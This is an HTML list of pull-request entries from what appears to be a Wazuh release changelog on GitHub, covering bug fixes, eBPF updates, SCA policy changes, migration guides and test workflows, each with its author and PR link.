<li>Prevent Syscollector and SCA use-after-free on modulesd shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505494861" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36359" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36359/hovercard" href="https://github.com/wazuh/wazuh/pull/36359">#36359</a></li>
<li>Add cluster security model and configuration documentation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522930141" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36405" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36405/hovercard" href="https://github.com/wazuh/wazuh/pull/36405">#36405</a></li>
<li>Bump CB_SCAN_STARTED timeout and trigger ITs on wm_syscollector.c by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527847069" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36446" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36446/hovercard" href="https://github.com/wazuh/wazuh/pull/36446">#36446</a></li>
<li>Fixed an issue in eBPF with LSM hooks and improved the health check by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359560869" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35838" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35838/hovercard" href="https://github.com/wazuh/wazuh/pull/35838">#35838</a></li>
<li>Validate cluster node name format by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4531591190" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36460" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36460/hovercard" href="https://github.com/wazuh/wazuh/pull/36460">#36460</a></li>
<li>eBPF libraries updated by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4533955405" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36467" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36467/hovercard" href="https://github.com/wazuh/wazuh/pull/36467">#36467</a></li>
<li>Bump 4.14.6 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539082172" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36517" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36517/hovercard" href="https://github.com/wazuh/wazuh/pull/36517">#36517</a></li>
<li>Revert "Bump 4.14.6 branch" by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MARCOSD4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MARCOSD4">@MARCOSD4</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539151411" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36518" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36518/hovercard" href="https://github.com/wazuh/wazuh/pull/36518">#36518</a></li>
<li>Bump 4.14.6 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539251322" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36519" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36519/hovercard" href="https://github.com/wazuh/wazuh/pull/36519">#36519</a></li>
<li>Update changelog for 4.14.6 RC 1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539470693" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36562" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36562/hovercard" href="https://github.com/wazuh/wazuh/pull/36562">#36562</a></li>
<li>Fix policy evaluation errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528195977" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36449" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36449/hovercard" href="https://github.com/wazuh/wazuh/pull/36449">#36449</a></li>
<li>Release startup hash gate when the reload chain fails by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495215383" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36302" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36302/hovercard" href="https://github.com/wazuh/wazuh/pull/36302">#36302</a></li>
<li>Revert "Add missing 4.10.2-4.10.5 and 4.8.2 entries to changelogs" by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541090106" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36591" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36591/hovercard" href="https://github.com/wazuh/wazuh/pull/36591">#36591</a></li>
<li>Merge merge-4.14.7-into-main into main [automated] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4546876084" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36624" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36624/hovercard" href="https://github.com/wazuh/wazuh/pull/36624">#36624</a></li>
<li>Restore event counter and classify received messages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4531260982" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36456" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36456/hovercard" href="https://github.com/wazuh/wazuh/pull/36456">#36456</a></li>
<li>Unify manager integration tests workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485169588" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36235" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36235/hovercard" href="https://github.com/wazuh/wazuh/pull/36235">#36235</a></li>
<li>Remove unused Node.js 12 from arm64 deb agent builder by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467836275" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36156" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36156/hovercard" href="https://github.com/wazuh/wazuh/pull/36156">#36156</a></li>
<li>Remove unused Node.js 12 from arm deb agent builders (4.14.7) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467837119" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36157" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36157/hovercard" href="https://github.com/wazuh/wazuh/pull/36157">#36157</a></li>
<li>SCA typo bug in SELinux SCA rule for CentOS 8/9/10 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514754415" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36361" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36361/hovercard" href="https://github.com/wazuh/wazuh/pull/36361">#36361</a></li>
<li>Fix <code>detect-changes</code> glob to honour <code>**</code> recursively and extract logic into a reusable action by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544605284" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36617" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36617/hovercard" href="https://github.com/wazuh/wazuh/pull/36617">#36617</a></li>
<li>Merge merge-4.14.6-into-4.14.7 into 4.14.7 [automated] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4546868343" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36623" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36623/hovercard" href="https://github.com/wazuh/wazuh/pull/36623">#36623</a></li>
<li>Reduce log noise when engine has no synchronized ruleset by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505198128" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36356" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36356/hovercard" href="https://github.com/wazuh/wazuh/pull/36356">#36356</a></li>
<li>Update test modules paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549542116" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36668" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36668/hovercard" href="https://github.com/wazuh/wazuh/pull/36668">#36668</a></li>
<li>Only download external deps when required by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4486894083" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36244" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36244/hovercard" href="https://github.com/wazuh/wazuh/pull/36244">#36244</a></li>
<li>Merge 4.14.7 into main by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4548874786" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36664" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36664/hovercard" href="https://github.com/wazuh/wazuh/pull/36664">#36664</a></li>
<li>Mail forwarding and reporting 5.0 migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ripdiegozz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ripdiegozz">@Ripdiegozz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505228985" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36357" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36357/hovercard" href="https://github.com/wazuh/wazuh/pull/36357">#36357</a></li>
<li>Added Ubuntu 26.04's SCA policy in the SPECS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4562694437" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36712" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36712/hovercard" href="https://github.com/wazuh/wazuh/pull/36712">#36712</a></li>
<li>Preliminary support new OSs - Ubuntu 26.04 - Add SCA content by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AwwalQuan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AwwalQuan">@AwwalQuan</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561732273" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36708" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36708/hovercard" href="https://github.com/wazuh/wazuh/pull/36708">#36708</a></li>
<li>Safeguards to inventory sync by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534767894" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36469" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36469/hovercard" href="https://github.com/wazuh/wazuh/pull/36469">#36469</a></li>
<li>Improve the method of detecting duplicates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504512576" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36344" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36344/hovercard" href="https://github.com/wazuh/wazuh/pull/36344">#36344</a></li>
<li>Fix race condition preventing inventory synchronization after agent reload by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551769345" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36682" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36682/hovercard" href="https://github.com/wazuh/wazuh/pull/36682">#36682</a></li>
<li>Added API integration tests workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MiguelazoDS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MiguelazoDS">@MiguelazoDS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472493573" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36196" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36196/hovercard" href="https://github.com/wazuh/wazuh/pull/36196">#36196</a></li>
<li>Fix non-atomic write for <code>file_status.json</code> in logcollector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565514906" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36722" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36722/hovercard" href="https://github.com/wazuh/wazuh/pull/36722">#36722</a></li>
<li>Make agent-info shutdown waits interruptible by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4564093587" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36719" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36719/hovercard" href="https://github.com/wazuh/wazuh/pull/36719">#36719</a></li>
<li>Validate IP address in ip-customblock active response by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4570134407" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36730" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36730/hovercard" href="https://github.com/wazuh/wazuh/pull/36730">#36730</a></li>
<li>wazuh-agent remains active after uninstall on Fedora 44 / DNF5 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4568853035" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36727" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36727/hovercard" href="https://github.com/wazuh/wazuh/pull/36727">#36727</a></li>
<li>Use per-target rpath and remove redundant LD_LIBRARY_PATH/WAZUH_ENGINE_GROUP exports by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4531005682" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36455" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36455/hovercard" href="https://github.com/wazuh/wazuh/pull/36455">#36455</a></li>
<li>Fix changelog chronological order and update bumper script by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4569560130" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36729" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36729/hovercard" href="https://github.com/wazuh/wazuh/pull/36729">#36729</a></li>
<li>Monitoring a symlink without follow_symbolic_link by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4444803761" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36081" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36081/hovercard" href="https://github.com/wazuh/wazuh/pull/36081">#36081</a></li>
<li>SCA policies migration guide from 4.x to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550901765" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36671" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36671/hovercard" href="https://github.com/wazuh/wazuh/pull/36671">#36671</a></li>
<li>Fix 5x  wazuhdb integration tests  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4562864780" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36713" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36713/hovercard" href="https://github.com/wazuh/wazuh/pull/36713">#36713</a></li>
<li>Downgrade transient manager-reported sync failures logs to debug by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4576461814" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36744" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36744/hovercard" href="https://github.com/wazuh/wazuh/pull/36744">#36744</a></li>
<li>Show sca timouts as Not Run by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpcerrone/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpcerrone">@jpcerrone</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488962491" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36258" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36258/hovercard" href="https://github.com/wazuh/wazuh/pull/36258">#36258</a></li>
<li>Authd workflow creation for 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522600046" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36404" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36404/hovercard" href="https://github.com/wazuh/wazuh/pull/36404">#36404</a></li>
<li>Adapt remoted tests to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541524155" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36609" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36609/hovercard" href="https://github.com/wazuh/wazuh/pull/36609">#36609</a></li>
<li>Update unclassified event criteria by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551542627" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36681" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36681/hovercard" href="https://github.com/wazuh/wazuh/pull/36681">#36681</a></li>
<li>use safeloader in yaml file loader by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4582767203" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36753" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36753/hovercard" href="https://github.com/wazuh/wazuh/pull/36753">#36753</a></li>
<li>Downgrade expected modulesd socket warnings/errors during agent restart to debug by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583215822" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36755" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36755/hovercard" href="https://github.com/wazuh/wazuh/pull/36755">#36755</a></li>
<li>Documentation: Ciscat and openscap migration to SCA by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpcerrone/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpcerrone">@jpcerrone</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4566095438" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36723" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36723/hovercard" href="https://github.com/wazuh/wazuh/pull/36723">#36723</a></li>
<li>Document the deprecation of OSquery in order to use IT Hygiene in version 5.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583642489" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36756" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36756/hovercard" href="https://github.com/wazuh/wazuh/pull/36756">#36756</a></li>
<li>Preserve wazuh-syscheckd Full Disk Access attribution on macOS reload by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583103632" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36754" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36754/hovercard" href="https://github.com/wazuh/wazuh/pull/36754">#36754</a></li>
<li>Normalize severity Msg  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588829137" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36759" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36759/hovercard" href="https://github.com/wazuh/wazuh/pull/36759">#36759</a></li>
<li>Agent Groups 5x Migration Guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4568131074" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36726" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36726/hovercard" href="https://github.com/wazuh/wazuh/pull/36726">#36726</a></li>
